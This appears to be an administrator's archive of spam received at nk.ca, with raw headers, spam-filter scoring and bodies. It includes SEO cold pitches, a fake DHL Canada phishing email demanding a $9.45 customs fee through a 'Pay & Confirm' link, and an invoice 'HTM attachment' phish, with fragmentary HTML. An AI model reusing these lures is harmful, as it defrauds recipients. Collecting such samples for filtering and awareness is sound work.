X-MS-Exchange-CrossTenant-Network-Message-Id: 7a179cbb-5c47-4fad-436b-08df09df03af

X-MS-Exchange-CrossTenant-originalarrivaltime: 03 Sep 2026 17:15:54.8572

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SE2P216MB2251



--_000_SE2P216MB3355BCB615554327A3414617C7B62SE2P216MB3355KORP_

Content-Type: text/plain; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable



Hi,



I am still waiting for your reply.



Please May I send you a Proposal? If you are interested!



Thank you,

________________________________

From: andrew anderson

Sent: 02 September 2026 12:55

Subject: SEO proposal?



Hello,



I have analyzed your website and website is not ranking on Keywords



But it=92s not ranking in top on other major search engines.



May I send you our pricing & inquiry?



Thanks,



Shirley





--_000_SE2P216MB3355BCB615554327A3414617C7B62SE2P216MB3355KORP_

Content-Type: text/html; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable








252">








s-serif; font-size: 11pt; color: rgb(0, 0, 0);">

Hi,



s-serif; font-size: 11pt; color: rgb(0, 0, 0);">







s-serif; font-size: 11pt; color: rgb(0, 0, 0);">

I am still waiting for your reply.



s-serif; font-size: 11pt; color: rgb(0, 0, 0);">







s-serif; font-size: 11pt; color: rgb(0, 0, 0);">

Please May I send you a Proposal? If you are interested! 



s-serif; font-size: 11pt; color: rgb(0, 0, 0);">







color: rgb(0, 0, 0);">

Thank you, 








yle=3D"font-size:11pt" color=3D"#000000">From: andrew anderson <a=

ndrew.anderson011@outlook.com>


Sent: 02 September 2026 12:55


Subject: SEO proposal?


 









lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

Hello,



lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">







lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

I have analyzed your website and website is not ranking on Keywords



lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">







lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

But it=92s not ranking in top on other major search engines.



lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">







lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

May I send you our pricing & inquiry?



lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">







lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

Thanks,



lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">







lvetica,sans-serif; font-size:11pt; color:rgb(0,0,0)">

Shirley



-serif; font-size:11pt; color:rgb(0,0,0)">














--_000_SE2P216MB3355BCB615554327A3414617C7B62SE2P216MB3355KORP_--

DHL Phish from Sendgrid

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EXz-00000000FLH-3mZx

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:00:35 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:00:35 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from s.wrqvnvpf.outbound-mail.sendgrid.net ([149.72.40.63]:42374)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2B1B-000000009IV-0uMH

for root@nk.ca;

Thu, 03 Sep 2026 11:14:38 -0600

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=betsea.net;

h=content-transfer-encoding:content-type:date:from:mime-version:subject:

to:cc:content-type:date:from:subject:to;

s=s1; t=1788455615;

bh=4+yqluu75a/5pqx2ozdHYU69mdbkxCwOCBW8kqJY6jI=;

b=PZ0nxxbb87xYjSqY4nBBzaeZPvhuyzl1y+fNCusai9VuvfvbFFn4Xdlmpimb8pxVPuXp

Ew10gijLIm2UEVbOl8VypxeyNnzOMgmm6uJb452xjakuSlgbb1ZWZ6yfOJXVHZxQ1kj11a

Nh2POuigPTtvg5a1baXErxBjpLbBmPSGgDQskDKbu9cH42ooPqcLKBrO2fPqzM4oGCK41Y

hDgOIeNQScACLYZT+K2WZLuciILad1oBgApUlkFYA9OTgjhGmTiXwjmCQDNam/qxMQAf7E

EQ3YZKMEU/bwgkSn790E+l2K5iCGk/GJJU9ru5nFSX0oIGRjuxddFciFb0D0ES7g==

Received: by recvd-b7b85869b-4lf2r with SMTP id recvd-b7b85869b-4lf2r-1-6A99AABF-97

2026-09-03 17:13:35.733672059 +0000 UTC m=+136983.792977885

Received: from NTQxNDI3NTI (unknown)

by geopod-ismtpd-1 (SG) with HTTP

id o3iEe5__QreAoAb2hob6Cg

Thu, 03 Sep 2026 17:13:35.682 +0000 (UTC)

Content-Transfer-Encoding: quoted-printable

Content-Type: text/html; charset=utf-8

Date: Thu, 03 Sep 2026 17:13:35 +0000 (UTC)

From: INFO

Mime-Version: 1.0

Message-ID:

Subject: Reference CS45-*****-**** is currently at our local facility

X-SG-EID:

=?us-ascii?Q?u001=2EETyA7I1touHr2n0g5BF=2F2jq=2FVxiRX4bkIKLnysBnAtQfkDxuryswZ1d4b?=

=?us-ascii?Q?JUFC9l0D1o3R9tPBnrlSVVAXRyKnxckqBhUPjgU?=

=?us-ascii?Q?VKWJXOK9hTSaTXoF5GWbLCVl8kDFzR5amh8E4RU?=

=?us-ascii?Q?lhRvEdgGmlijOzOLPht7juB1s9yu3fb52sxMjDL?=

=?us-ascii?Q?+qWqSat36IfWluXlXhFUmI3hK=2Flr5hxvgjxCOvV?=

=?us-ascii?Q?=2F1Z5FUfaym69s1dcuGVp0I=3D?=

To: root@nk.ca

X-Entity-ID: u001.pcI1TqDJ4bt3TLVFssjSfA==

X-Spam_score: 21.5

X-Spam_score_int: 215

X-Spam_bar: +++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: DHL Canada - Delivery Update DHL Canada delivery update for

your package



Content analysis details: (21.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

[149.72.40.63 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[149.72.40.63 listed in dnsbl.ahbl.org]

[149.72.40.63 listed in dnsbl.ahbl.org]

[149.72.40.63 listed in dnsbl.ahbl.org]

[149.72.40.63 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[149.72.40.63 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[149.72.40.63 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[149.72.40.63 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[149.72.40.63 listed in dnsbl.ahbl.org]

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: betsea.net]

1.1 URIBL_GREY Contains an URL listed in the URIBL greylist

[URI: sendgrid.net]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[149.72.40.63 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[149.72.40.63 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

15 GR_DOMAIN_SENDGR1 Received contains spammer id (sendgr)

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?} Reference CS45-*****-**** is currently at our local facility












=3D1.0" />

DHL Canada - Delivery Update




l,Helvetica,sans-serif;line-height:1.5;color:#333;">






max-height:0px;max-width:0px;opacity:0;overflow:hidden;mso-hide:all;">

DHL Canada delivery update for your package








style=3D"background-color:#f0f4f8;padding:20px 0;">














th=3D"100%" style=3D"max-width:560px;background-color:#ffffff;border-radius=

:8px;box-shadow:0 2px 8px rgba(0,0,0,0.06);margin:0 auto;border-collapse:co=

llapse;">


































6px 20px;text-align:center;border-radius:8px 8px 0 0;">


7803c0-ba0f-461e-a1de-2e305ea36824/blob-f148f96.png" alt=3D"DHL" style=3D"w=

idth:100px;max-width:100%;height:auto;border:0;display:block;margin:0 auto;=

" />


or:#ffffff;font-weight:600;letter-spacing:1px;opacity:0.7;">CANADA




:#ffffff;">






n:0 0 6px 0;font-weight:700;">Delivery Update




or:#444;">Dear Customer,




lor:#444;">

Your package has arrived at our facility an=

d is ready for delivery.








ng=3D"0" width=3D"100%" style=3D"background:#faf6f3;border-left:4px solid #=

d40511;border-radius:4px;margin:14px 0;border-collapse:collapse;">










ize:13px;color:#333;">


">Tracking Number:
=20


;color:#d40511;">CS45-*****-**34





ize:13px;color:#333;">

Status:
style=3D"color:#d40511;font-weight:bold;">Ready for Delivery





e:13px;color:#333;">

Delivery:
n style=3D"font-weight:bold;">September 5, 2026










8px 0 8px 0;font-weight:700;">Customs Clearance




lor:#444;">

A customs clearance fee of
"color:#d40511;">$9.45 CAD
is required.








ng=3D"0" width=3D"100%" style=3D"margin:14px 0 10px 0;border-collapse:colla=

pse;">








;">


peh7" style=3D"display:inline-block;background:#d40511;color:#ffffff;font-s=

ize:15px;font-weight:600;text-decoration:none;padding:10px 32px;border-radi=

us:4px;">

Pay & Confirm








color:#aaa;text-align:center;">

Secure payment =E2=80=A2 256-bit encryption









;margin:16px 0;" />






ht:bold;margin:0 0 4px 0;">Delivery Options:




0 2px 0;">=E2=9C=93 Standard (1-2 business days)




0 2px 0;">=E2=9C=93 Express (Same day)




0 10px 0;">=E2=9C=93 Pickup at DHL Center









;margin:14px 0;" />






ht:bold;margin:0 0 4px 0;">Need Help?




0 2px 0;">

Support:
8007123456" style=3D"color:#d40511;text-decoration:none;">1-800-712-3456
>




0 2px 0;">

Email:

upport@dhl.ca" style=3D"color:#d40511;text-decoration:none;">support@dhl.ca=






0 12px 0;">

Website:
//www.dhl.com/ca-en/home.html" style=3D"color:#d40511;text-decoration:none;=

">dhl.com/ca









color:#444;">

Thank you for choosing DHL Canada.




:#444;">

Best regards,


DHL Canada=

Team







order-top:1px solid #eee;border-radius:0 0 8px 8px;">




or:#999;text-align:center;">


rivacy.html" style=3D"color:#999;text-decoration:underline;margin:0 6px;">P=

rivacy
|


erms.html" style=3D"color:#999;text-decoration:underline;margin:0 6px;">Ter=

ms
|


ration:underline;margin:0 6px;">Unsubscribe







r:#aaa;text-align:center;">

© 2026 DHL Canada. All rights reserved=

.












th=3D"100%" style=3D"max-width:560px;margin:6px auto 0;border-collapse:coll=

apse;">








t-size:8px;color:#bbb;line-height:1.3;">

This email is for informational purposes only.










h8zb-2FNWrSfpjT4SFK7gHN9oLpD87hbZ12yysIQA5g2c-2B1g6pqr3poIqTZtqf9JodmSsZ-2F=

zMOtO776Y3YXTt6juJPqiSXsCyYPj8nAz9VzTgeOD1-2B99jG5kTLS6IBwoUfhlIjeF2AAIfK-2=

Fm1hWku4oIA-2BuoucGhxv6T6t-2FNPKRZzzYuFocPeuNpb8aA9uwJ8U-2FXzg-3D-3D" alt=

=3D"" width=3D"1" height=3D"1" border=3D"0" style=3D"height:1px !important;=

width:1px !important;border-width:0 !important;margin-top:0 !important;marg=

in-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;p=

adding-top:0 !important;padding-bottom:0 !important;padding-right:0 !import=

ant;padding-left:0 !important;"/>



WEb/SEO/App spam from Google Gmail

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 03 Sep 2026 15:01:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2EXm-00000000FF3-2TuJ

for dave@doctor.nl2k.ab.ca;

Thu, 03 Sep 2026 15:00:22 -0600

Resent-From: The Doctor

Resent-Date: Thu, 3 Sep 2026 15:00:22 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pj2-f7.google.com ([74.125.227.135]:43459)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2B1V-000000009Kw-1hit

for sales@nk.ca;

Thu, 03 Sep 2026 11:14:58 -0600

Received: by mail-pj2-f7.google.com with SMTP id 98e67ed59e1d1-398da2bdcb9so10666a91.0

for ; Thu, 03 Sep 2026 10:14:02 -0700 (PDT)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=webandappdevelopments-com.20251104.gappssmtp.com; s=20251104; t=1788455637; x=1789060437; darn=nk.ca;

h=content-language:thread-index:content-type:mime-version:message-id

:date:subject:to:from:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=wBqQa0vSZvBcR8IVf+tfqS/z0K379RWL+essWTKTiW0=;

b=Os72301vMXofb5/Ztaz7hLT2hgvQbNJ37grVsvueQoZVcFBXWcTYCQDdKapyjMXNAm

CjV8vlKiO2cQ40tMaXMqFzFKpHcrKie0+oE8nESQcsHWl7owDmmKhsRKAYBS2dqL1ofe

KEBNz5Rc9uClEIFM4hT9leCxcKYA4geZHKuqb+PTg/ZvUnqu1o6MoQ+IG45JJsnIz8DT

0ZprBgwJ8fsYc3cGmJZxylg3XEFsLZNpnKxpuHIWjsaJy6nqkvkU/yKITwR5Vfy0IqND

thMWytV9ldCjE7bOyOj41Yj98FhXmbEeL2yXwWTEcDAziNXjYmY2yak631SXZe6IvDkk

qApQ==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1788455637; x=1789060437;

h=content-language:thread-index:content-type:mime-version:message-id

:date:subject:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject

:date:message-id:reply-to:content-type;

bh=wBqQa0vSZvBcR8IVf+tfqS/z0K379RWL+essWTKTiW0=;

b=X5pT9HR0d5NZuSsakMOWtLZg2utTmhOgEmAN+U5y1jNRE+s8uhcMPgGjmko6guT4QR

AX2uON5i6crvOzzHVFYHg1P+xwjhQWDrKZVxkDxLZrrW6MtHYGDmLbFNGXPcPMzUeWPE

KWSy9FNVOOokM6l73LrSqqxgXMa6GLXwIiX13XzNyxLk5VcOqgS6S9/xh6xJ+r4r5BOE

DdeoDMjDog5/ipwO8151bZ9j5E2KMty37qJPmY60wta0Gfc2qXoYDM98uK2BOfcrl5Zf

UBQ9iwMRxmwUKBUiaSpHY9c7Vn5jGU1pw3FEb53cdXIknmtpwtDzI36qbosqaFWA3Ogf

44pg==

X-Gm-Message-State: AFuF++n2N+hK/nNdiu8tCBPRf4q31ANSW/+PP3M3+Bi55fzSg3KrWRDw

M22TnHwMJTZmr5J99hPUK7phxqCpjBLjPtWY12DJMPbT0Hcby7V0HBvHoSb4f/tFaGlJH6xOpzY

MTXaNPhqfOg==

X-Gm-Gg: AYBFou1FhSE5F0xk721d8u3eBGTsyAeG6SvMIEtsIlcZ5gmuldRqUHiiGkYwRbo5OUp

yT73bSpHXTBuY0zpZRdQBoKuvze44T+0GIbVkDwC/YSHwffzpCech5Jb0ablMG8TurmS8Ye+/+j

HpCGLVUbTZqqRLfFTCKtlPaXRozOimGSFoRtyq2o0WV4htgpflweBCqt9Jb8nyrP7dsTlMJ71ss

/gwTtyEVkEnB7U8LR1ttkFcN3GIpqkmv3dEsmRha/wbICo2359UuwzbEzDlm4+yioa2R/ozDj8P

y0nD9dG6yuBlFlDXi4S7ikKbrFU7y3E9UBV4mgJIzM4IrWdhJmzWv++R/8cJ2JcUo1LJ8gUhcvO

/7Nq7TWZGbByrmD05WesSGBFmFgi/NANP963g2/DYjsIbIamU/guJz/jBHdAbsdXBcVvSmbQ6lG

UgNNLXPaBOJu2l4eENyNYS8YOVWUuwafSc+Yalk3i16UCOF2emxuXKcJCQZSBYv3keDg5yf2TER

nf+DspAOZ20mY/ECfPVnQ==

X-Received: by 2002:a17:90b:164d:b0:398:c16e:69d3 with SMTP id 98e67ed59e1d1-39aedeb9aecmr20757052a91.1.1788455636890;

Thu, 03 Sep 2026 10:13:56 -0700 (PDT)

Received: from DESKTOPIRCAQN6 ([103.225.187.119])

by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-39b08767a69sm6365162a91.16.2026.09.03.10.13.55

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Thu, 03 Sep 2026 10:13:56 -0700 (PDT)

From: Georgia Staton

X-Google-Original-From: "Georgia Staton"

To:

Subject: Re: Thought of You

Date: Thu, 3 Sep 2026 22:30:30 +0530

Message-ID: <764d01dd3bc7$99f20a50$cdd61ef0$@webandappdevelopments.com>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="----=_NextPart_000_764E_01DD3BF5.B3AA4650"

X-Mailer: Microsoft Outlook 16.0

Thread-Index: Ad07kVy17Wg2nES8TWibS9YOVHpfGQ==

Content-Language: en-us



This is a multipart message in MIME format.



------=_NextPart_000_764E_01DD3BF5.B3AA4650

Content-Type: text/plain;

charset="us-ascii"

Content-Transfer-Encoding: 7bit



Hi,



I think your website www.nk.ca could benefit from a fresh visual direction

that makes your services easier to explore.



We design modern, responsive websites tailored to the business rather than

using a standard layout.



May I send you a few design suggestions for your website?



Thank you!

Georgia Staton









------=_NextPart_000_764E_01DD3BF5.B3AA4650

Content-Type: text/html;

charset="us-ascii"

Content-Transfer-Encoding: quoted-printable




xmlns:o=3D"urn:schemas-microsoft-com:office:office" =

xmlns:w=3D"urn:schemas-microsoft-com:office:word" =

xmlns:m=3D"http://schemas.microsoft.com/office/2004/12/omml" =

xmlns=3D"http://www.w3.org/TR/REC-html40">
HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =

charset=3Dus-ascii">
(filtered medium)">
vlink=3D"#954F72">


class=3Disselectedend>
style=3D'font-family:"Georgia",serif'>Hi,


class=3Disselectedend>I =

think your website www.nk.ca could benefit from a fresh visual direction =

that makes your services easier to explore.


class=3Disselectedend>We =

design modern, responsive websites tailored to the business rather than =

using a standard layout.


class=3Disselectedend>May =

I send you a few design suggestions for your =

website?


style=3D'font-family:"Georgia",serif'>Thank you!
Georgia =

Staton


style=3D'font-size:12.0pt;line-height:107%;font-family:"Georgia",serif'><=

o:p> 



------=_NextPart_000_764E_01DD3BF5.B3AA4650--



Attachment phish from Microsoft Outlook

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@nk.ca

Delivery-date: Thu, 03 Sep 2026 10:26:00 -0600

Received: from mail-westus3azon11022072.outbound.protection.outlook.com ([40.107.209.72]:13190 helo=PH8PR06CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1x2AFS-00000000MsO-3rNP

for dave@nk.ca;

Thu, 03 Sep 2026 10:25:22 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=ZZx1iZerC8RMpbWLz/i69rNjAdOETy4MCBjyi1X7ZQKG/XxLDy+Rpt40u4v629I5YVVTCW4q8Gx7FXM2NwBZiaAmpxGcI6sPsy3PPNA7MhHT65+j9JuTZO9mxNcgjquGUtQh7ZIKnhw/ABhegF48igzrlkqeF7/jKe474TXNISZeWXEkYa6jZE8Chrum7zxGhV3A8jhQcpwsj2DS7HWV0X/htgetou/2dJTOUzD8QJEoYcGMYqNhs2dD9iINb5ukMxMuD3gCZ1Q2gcsbtNLRQ087dtniJPY95hAyvtDnU9ZsZJUFa5tGNfOmJhjNZ3TlkcJ/UqPFPVWHvrxoUnleLQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=Nffl9euMXBOUN1lisbLVsS979OzdCsfJDr6XIrmYwcA=;

b=k1YQ28ygeEVajKIJ8WJkuzFtCKPaaPjL9cv+AHffccogzPIfl6lUsrLi+KwSwATmQPmrMVj6kN83FFz3KDMutvPImhmEfg1k9waFz92iaQyo8r5TPxkDP+ceQAvYf1YJmqMVpPrqWW9a7cl27739xArsjxsQAyowIoXQ2u5tHKMoQDiXy5iekNCsAk5l/8GKYkydG9t3PHpDDnYO6/kqJndurthxRR9OCT/aYxXODYmG/jP7QslD/u0mB3xf0DsXcC2MJOu987nXRGe9fEXUsjK0TUfi0Js/79EawA1ESOFltc/8c8HtcqRPmP4s1p9fcSS4ICO2muG3NY11L/QTxg==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=fail (sender ip is

103.79.79.120) smtp.rcpttodomain=nk.ca smtp.mailfrom=dlvews.com; dmarc=fail

(p=reject sp=reject pct=100) action=oreject header.from=dlvews.com; dkim=none

(message not signed); arc=none (0)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dlvews.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=Nffl9euMXBOUN1lisbLVsS979OzdCsfJDr6XIrmYwcA=;

b=AebLB4DxkMmhU894pqTFjqN+d4cRxqOqjUzHs0PUI9j9Go+IEjZ0EvUcPAxO77Qdm0vHs3gS9oK0bW90Kfv6BZJggEGNDHZvHz+YtHcFGGKrnZ1SyGT+4SUxcCOBgGQBYUUVm8JkmPaGA/lZpBDRR4zh69LdPz/drI+bh1z7HZY=

Received: from MW3PR05CA0010.namprd05.prod.outlook.com (2603:10b6:303:2b::15)

by PH0PR18MB4441.namprd18.prod.outlook.com (2603:10b6:510:e0::5) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.360.13; Thu, 3 Sep

2026 16:24:14 +0000

Received: from MWH0EPF000A6730.namprd04.prod.outlook.com

(2603:10b6:303:2b:cafe::1b) by MW3PR05CA0010.outlook.office365.com

(2603:10b6:303:2b::15) with Microsoft SMTP Server (version=TLS1_3,

cipher=TLS_AES_256_GCM_SHA384) id 15.21.406.4 via Frontend Transport; Thu, 3

Sep 2026 16:24:14 +0000

X-MS-Exchange-Authentication-Results: spf=fail (sender IP is 103.79.79.120)

smtp.mailfrom=dlvews.com; dkim=none (message not signed)

header.d=none;dmarc=fail action=oreject header.from=dlvews.com;

Received-SPF: Fail (protection.outlook.com: domain of dlvews.com does not

designate 103.79.79.120 as permitted sender) receiver=protection.outlook.com;

client-ip=103.79.79.120; helo=[127.0.0.1];

Received: from [127.0.0.1] (103.79.79.120) by

MWH0EPF000A6730.mail.protection.outlook.com (10.167.249.22) with Microsoft

SMTP Server id 15.21.382.8 via Frontend Transport; Thu, 3 Sep 2026 16:24:13

+0000

Content-Type: multipart/mixed; boundary="===============3412410151919645408=="

MIME-Version: 1.0

Subject:

From:

To: dave@nk.ca

Reply-To: <>

X-Priority: 3

Message-ID:

<7a22a535-a7b3-41e7-b5ee-1febeb5b57b5@MWH0EPF000A6730.namprd04.prod.outlook.com>

Date: Thu, 3 Sep 2026 16:24:13 +0000

X-EOPAttributedMessage: 0

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: MWH0EPF000A6730:EE_|PH0PR18MB4441:EE_

X-MS-Office365-Filtering-Correlation-Id: 343652fd-3431-43c3-d222-08df09d7caf3

X-MS-Exchange-AtpMessageProperties: SA

X-MS-Exchange-SenderADCheck: 1

X-MS-Exchange-AntiSpam-Relay: 0

X-Microsoft-Antispam:

BCL:0;ARA:13230040|376014|61400799027|6049299003|34020700016|23010399003|82310400026|36860700016|56012099006|10067099003|11063799006|16102099003|18002099003|55112099003|11078399003|8096899003|4053099003|36200700002;

X-Microsoft-Antispam-Message-Info:

1CX06zsa4xgKriN8j3ANvbO3gxjoyxW1zz97iJlHOUitqImaocYLDHNb+JksRpvPPdPkSVQEl1+Q832qkazkW7IAE9UN1mGNTSbmnen7Z75Huraom+isw4RGnGLMqZp33qXxy3daudpnXDg/pM5jXkWJTADzRCIVJbsJYVUWsISZe96ZzHve1smHFQa6dqfbPTE0NzFWK57DdQ/RLgdEXDfEJ4nei2f3O5x6Spz6XLhxjR2dJXP0LRaOAC8advgg82YtCJQZuuIm2bQ5nEdaSvzHxbMlvRAHdYbuPhpKErLHcG5A0CrT5203oY4Hz5cM3oauOqDb3ZoJW1XNqUeTsjfA4z6sEIThoODoMqP2bJIHWrlf/2pzPullzZns0GRJtI92rTsck3Z383EYhpozMkFYxf5EUGaWqGa7HuxXckKqZS4/2riZrABeCau0x+4Z

X-Forefront-Antispam-Report:

CIP:103.79.79.120;CTRY:SG;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:[127.0.0.1];PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(61400799027)(6049299003)(34020700016)(23010399003)(82310400026)(36860700016)(56012099006)(10067099003)(11063799006)(16102099003)(18002099003)(55112099003)(11078399003)(8096899003)(4053099003)(36200700002);DIR:OUT;SFP:1102;

X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1

X-MS-Exchange-AntiSpam-MessageData-0:

isspc8cIS0tVTk2GLHdQnzfFq43TVmqnMYrTgUeJJdVapyV6KZSIM0gLC/0J7DxIoDg/rhBw0v70fHiBrdrEU8pOoHf0QI/zYAy8fFSpFHFftZEEMwWz6GfEKDPNkKC2AsBP4SWhnwWmM4vOAyZP3N8AUUEGGKmSyAxuBxsBZOKcjWF6KJDiGbHUl7UG4vepCn5Wl4RVkwDifwMIXUIHFjEXeVY9IkVw8KiGWV7FaCnEm8sqvw15RfYtu21Qufx53+1RMT/bxvMheHZ46qqdT1AjrxTbM3AihgzX6XrA/ZW9mIGisDJY6Z8fnmnu5cWhl6CJ8rcyOHz25nnY24KfzGc4qyFC1cGXClHENg5sDNXpKe6Auv4qKendROgCxb9o9RMMdLbYGrl7w/DxbGjfxN8OjUjPPCYn3VVFL1WVcFPhZ+muPVl+fjGOJjPI/6oJ

X-OriginatorOrg: dlvews.com

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Sep 2026 16:24:13.5756

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: 343652fd-3431-43c3-d222-08df09d7caf3

X-MS-Exchange-CrossTenant-Id: b0491976-ed1e-4488-8f5b-25870082a434

X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=b0491976-ed1e-4488-8f5b-25870082a434;Ip=[103.79.79.120];Helo=[[127.0.0.1]]

X-MS-Exchange-CrossTenant-AuthSource:

MWH0EPF000A6730.namprd04.prod.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem

X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR18MB4441

X-Spam_score: 7.1

X-Spam_score_int: 71

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hi Dave, Attached in the secure HTM file a list of invoices

processed for Nk. In the event that we have processed payments for multiple

customers of yours, the report will break down the detail by customer. An

[...]



Content analysis details: (7.1 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[103.79.79.120 listed in will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

